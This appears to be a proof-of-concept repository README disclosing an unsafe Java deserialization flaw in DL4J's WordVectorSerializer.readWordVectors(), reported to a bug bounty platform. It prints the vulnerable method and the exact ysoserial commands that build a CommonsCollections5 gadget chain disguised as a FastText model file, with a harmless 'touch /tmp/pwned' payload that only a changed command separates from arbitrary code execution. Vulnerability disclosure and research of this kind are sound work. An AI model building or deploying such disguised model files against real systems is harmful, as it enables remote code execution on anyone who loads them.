mscgo77/dl4j-fasttext-deserialization-rce-poc

DL4J WordVectorSerializer.readWordVectors() unsafe deserialization RCE PoC

malicious_fasttext.bin is a raw Java-serialized ysoserial CommonsCollections5 gadget chain (touch /tmp/pwned), disguised as a FastText embedding model file.

org.deeplearning4j.models.embeddings.loader.WordVectorSerializer.readWordVectors(File) (the documented, public API for loading a previously-saved FastText model) hands the entire file straight to ObjectInputStream.readObject() with zero filtering:

public static FastText readWordVectors(File path) {
    FastText result = null;
    try {
        FileInputStream fileIn = new FileInputStream(path);
        ObjectInputStream in = new ObjectInputStream(fileIn);
        try {
            result = (FastText) in.readObject();   // unfiltered
        } catch (ClassNotFoundException ex) { }
    } catch (FileNotFoundException ex) { ex.printStackTrace(); }
    catch (IOException ex) { ex.printStackTrace(); }
    return result;
}

Loading this file with WordVectorSerializer.readWordVectors() executes the gadget chain's payload immediately, before the method's own (FastText) cast even fails. Confirmed against org.deeplearning4j:deeplearning4j-nlp:1.0.0-M2.1, the latest artifact ever published to Maven Central for this module, and identical code exists on the current GitHub master branch.

This is a distinct, previously-undisclosed sink — not the same code path as the already-published CVE-2025-53001 (GHSA-wfhj-v5g7-vr7g), which covers only ModelSerializer.restoreMultiLayerNetwork() / the PREPROCESSOR_BIN ZIP entry. This finding involves a completely different Maven module (deeplearning4j-nlp), a different model type (FastText, not MultiLayerNetwork/ComputationGraph), and no ZIP wrapper at all — the whole file is handed directly to ObjectInputStream.

How malicious_fasttext.bin was built

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial && mvn clean package -DskipTests
java -jar target/ysoserial-*-all.jar CommonsCollections5 'touch /tmp/pwned' > malicious_fasttext.bin

That's the whole file — no wrapping needed, since readWordVectors() reads the raw bytes directly. commons-collections:3.2.1 must be on the victim's classpath for the CC5 gadget to fire.

Reported to huntr.com as a Model File Vulnerability (MFV) submission ("DL4J" format).